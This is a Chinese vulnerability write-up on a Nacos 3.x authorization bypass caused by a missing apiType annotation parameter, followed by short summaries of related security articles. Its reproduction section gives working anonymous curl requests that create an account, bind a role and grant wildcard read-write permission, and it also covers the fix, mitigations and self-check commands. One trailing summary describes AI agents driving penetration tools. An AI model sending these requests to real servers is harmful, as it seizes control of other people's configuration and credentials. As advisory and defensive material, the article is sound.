一个漏写的注解参数,把Nacos管理面交给了匿名请求"

admin 2026-10-30 22:20:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

一个漏写的注解参数,把 Nacos 管理面交给了匿名请求

松杨云创
松杨云创

松杨网络安全资料库

2026年10月30日 17:25
广东

去阅读

一、漏洞背景

Nacos 3.0.0 到 3.2.3 存在一处鉴权作用域错配:用户、角色、权限三组管理接口在 @Secured 注解里漏写了 apiType = ApiType.ADMIN_API,注解默认值把请求送进了「普通 API」那条链。而普通 API 的鉴权开关出厂默认关闭,管理 API 的开关出厂默认打开。两条链的默认状态正好相反,错配就变成了未授权。

项 值
漏洞类型 权限绕过 / 未授权访问
影响版本 3.0.0 ≤ Nacos ≤ 3.2.3
修复版本 3.2.4(2026-08-27 发布)
CVSS 3.1 9.8(通告值)
利用前置 能访问 Nacos Server 端口,无需任何凭证
在野利用 未发现公开记录

缺陷链可以拆成三环,串联起来现成漏洞:

环节 事实 后果
注解默认值 apiType() 默认 OPEN_API 不写就落进普通 API
过滤器分流 AuthFilter 管非 ADMIN\_API, AuthAdminFilter 只管 ADMIN\_API 两条链各有独立开关
开关默认值 nacos.core.auth.enabled=false ,nacos.core.auth.admin.enabled=true 普通链关着,管理链接着

二、漏洞原理

2.1 注解里的默认值,决定了走哪条链

@Secured 是 Nacos 服务端做接口鉴权的入口注解,apiType 属性用来区分这个接口属于「管理 API」还是「开放 API」:

// auth/src/main/java/com/alibaba/nacos/auth/annotation/Secured.java:80
ApiType apiType() default ApiType.OPEN_API;

默认值是 OPEN_API。也就是说,一个接口只要写了 @Secured 但没显式声明 apiType,它就会被当成开放接口处理。这个默认值本身是为了兼容历史接口,但对新增的管理接口来说,忘记写就等于放弃了管理员校验。

3.2.3 的 UserControllerV3.createUser 就是这样:

// 3.2.3 UserControllerV3.java:109
@Secured(resource = AuthConstants.CONSOLE_RESOURCE_NAME_PREFIX + \"users\",
    action = ActionTypes.WRITE)// 没有 apiType
@PostMapping
public Result<String> createUser(@RequestParam String username, @RequestParam String password)

2.2 两个过滤器读两个开关,默认值正好错开

apiType 不是装饰,它直接决定请求进哪个过滤器:

// core/.../auth/AuthFilter.java:53       —— 处理非 ADMIN_API
return !ApiType.ADMIN_API.equals(secured.apiType());

// core/.../auth/AuthAdminFilter.java:47  —— 只处理 ADMIN_API
return ApiType.ADMIN_API.equals(secured.apiType());

两个过滤器各自读一个开关,而这两个开关的出厂默认值是一对反义词:

过滤器 覆盖范围 开关 出厂默认 未认证请求的结果
AuthFilter 除 ADMIN\_API 外的全部 nacos.core.auth.enabled false 直接放行
AuthAdminFilter 仅 ADMIN\_API nacos.core.auth.admin.enabled true 校验管理员身份,拒绝

三、漏洞复现

3.1 环境

项 值
镜像 nacos/nacos-server:3.2.3 ,官方默认配置,未改任何鉴权项
部署 Docker 单容器,standalone + 内嵌 Derby
端口 8848(Server API,context-path /nacos)、8080(Console)
内存 JVM 512m–1g

镜像里的 conf/application.properties 把三个开关写成了硬编码,不是环境变量占位符,所以默认部署就是这个状态:

nacos.core.auth.enabled=false          # 普通 API 鉴权:关
nacos.core.auth.admin.enabled=true     # Admin API 鉴权:开
nacos.core.auth.console.enabled=true   # Console 鉴权:开

3.2 三个写操作,零凭证

建号、绑角色、授权三步,全部匿名完成:

curl -X POST \"http://192.168.x.x:8848/nacos/v3/auth/user?username=hacker01&password=Hacker%40123\"
curl -X POST \"http://192.168.x.x:8848/nacos/v3/auth/role?role=evil_role&username=hacker01\"
curl -X POST \"http://192.168.x.x:8848/nacos/v3/auth/permission?role=evil_role&resource=*:*:*&action=rw\"

【图 1】三个写操作零凭证通过,第四步登录后拿到配置全量列表

返回体分别是 create user ok!、add role ok!、add permission ok!,HTTP 状态全为 200。同一时刻,标了 ADMIN_API 的配置列表接口对匿名请求返回 403,两者的差别只在于注解里那一个属性。

ROLE_ADMIN 这个名字在代码里被保护,addRole 会拒绝直接创建:

// NacosRoleServiceDirectImpl.java:130
if (AuthConstants.GLOBAL_ADMIN_ROLE.equals(role)) {
    throw new IllegalArgumentException(\"role 'ROLE_ADMIN' is not permitted to create!\");
}

但绕开它不需要改名,把角色和自己绑定,再给角色授予 *:*:* 加 rw 就够了。

3.3 登录之后,管理面全开

用新建账号换 token,返回里 globalAdmin=false:

{\"accessToken\":\"eyJhbGciOiJIUzM4NCJ9...\",\"tokenTtl\":18000,
 \"globalAdmin\":false,\"username\":\"hacker01\"}

不是全局管理员,但带着这个 token 访问 ADMIN_API 的配置列表,依然是 200。原因是 AuthAdminFilter 只负责把请求分流到 admin 链,进链之后的权限判定仍然走普通的 hasPermission(),按资源模式匹配。*:*:* 对任意资源都命中,所以 ADMIN_API 标签的实际约束就只剩下「要有一个 token」。

实测影响面:

接口 无凭证 持通配 token
GET /v3/auth/user/list 200,含 BCrypt 密码哈希 200
GET /v3/auth/role/list 200 200
GET /v3/auth/permission/list 200 200
POST /v3/auth/user 200 200
POST /v3/auth/role 200 200
POST /v3/auth/permission 200 200
GET /v3/admin/cs/config/list 403 200
GET /v3/console/cs/config/list 403 200

写入闭环也验证过:带 token 往 DEFAULT_GROUP 发布一条配置,HTTP 200,回读内容与 md5 一致。

四、修复方式

4.1 官方修复

3.2.4 的 release notes 把这一项列在 BugFix 里:

15634 #15563 Fix authorization metadata and resource parsing across Admin, HTTP/gRPC, Prometheus, and AgentSpec APIs.

落到代码上,就是给 13 处注解逐条补上 apiType:

-        action = ActionTypes.WRITE)
+        action = ActionTypes.WRITE, apiType = ApiType.ADMIN_API)

4.2 修复前后对照

对照组只换镜像版本,请求与参数完全一致:

请求 3.2.3 3.2.4
POST /v3/auth/user 200 create user ok! 403 access denied
POST /v3/auth/role 200 add role ok! 403
POST /v3/auth/permission 200 add permission ok! 403
GET /v3/auth/user/list 200,带密码哈希 403

两个版本对匿名请求的拒绝文案是一样的,都是 access denied 套一层 Code: 401, Message: User not found,因为都从 AuthFilter 的 AccessException 抛出。差别只在拦不拦得住,不在提示语。

4.3 缓解与自查

升级到 3.2.4 是首选。短期不能升的,按下面顺序处理:

措施 做法 代价
打开普通鉴权 nacos.core.auth.enabled=true 客户端 SDK 需带凭证, 漏洞链随之失效
收敛暴露面 8848 只对业务网段放行,不对公网开放 需梳理调用方
检查异常账号 查 /v3/auth/user/list 有无非预期账号 需管理员权限,可脚本化
检查通配权限 查 /v3/auth/permission/list 有无 *:*:* 同上

自查可以用两条命令判断是否已被利用:

# 1) 未授权就能读用户列表 = 中招
curl -s -o /dev/null -w '%{http_code}\
' \\
  \"http://<target>:8848/nacos/v3/auth/user/list?pageNo=1&pageSize=1&username=\"

# 2) 有无残留的通配权限
curl -s -H \"Authorization: Bearer $TOKEN\" \\
  \"http://<target>:8848/nacos/v3/auth/permission/list?pageNo=1&pageSize=50&role=<role>\"

第一条返回 200 就要按失陷处理:清掉非预期账号与角色,轮换配置里的密钥类数据,再升级。

一个漏写的注解参数,把Nacos管理面交给了匿名请求" 网络安全文章

一个漏写的注解参数,把Nacos管理面交给了匿名请求"

Nacos3.0.0至3.2.3版本存在鉴权绕过漏洞,因@Secured注解漏写apiType参数导致管理接口被当作普通API处理,而普通API鉴权开关默认关闭,造成未授权访问,CVSS评分9.8。攻击者可匿名创建账号、绑定角色并授予通配权限,进而完全控制管理面。建议升级至3.2.4版本,或开启普通鉴权并收敛暴露面,同时检查异常账号与通配权限。
网安牛马如何优雅使用AI帮忙挖洞?(白嫖不花钱版)" 网络安全文章

网安牛马如何优雅使用AI帮忙挖洞?(白嫖不花钱版)"

本文介绍网安人员如何利用AI工具实现自动化漏洞挖掘,核心思路是结合桌面级Agent(如腾讯马维斯)、网络安全技能库(Skill)及Kali工具集,通过MCP协议联动BurpSuite等工具完成渗透测试流程。文章提供了具体操作步骤和提示词示例,并推荐了可白嫖的模型和工具资源,但结尾有引流公众号获取资料的软文性质。
盛邦安全三季报:加码前沿创新拓展空天地海一体化安全版图" 网络安全文章

盛邦安全三季报:加码前沿创新拓展空天地海一体化安全版图"

盛邦安全发布2026年三季报,前三季度营收1.37亿元,研发投入5753.11万元,营收承压但整体平稳。公司聚焦卫星互联网安全与AI安全,推出天权星地融合智能通信安全平台和天枢多源资产漏洞融合治理平台,深耕星地融合通信与资产漏洞治理场景,强化空天地海一体化安全战略布局,推动第二增长曲线发展。
【实战】对某三国gov主站的授权渗透测试" 网络安全文章

【实战】对某三国gov主站的授权渗透测试"

本文档记录某国政府主站及关联系统的授权渗透测试,发现13项漏洞,其中严重6项、高危5项、中危2项,取得WordPress主站、支持门户、客户登记系统及RoundcubeWebmail等四处代码执行权限,影响77个WordPress用户、345条客户记录、49,976封邮件等数据。核心风险在于应用、身份、邮件与主机权限间缺乏必要隔离,建议加强系统间权限隔离与凭据管理。
评论:0   参与:  0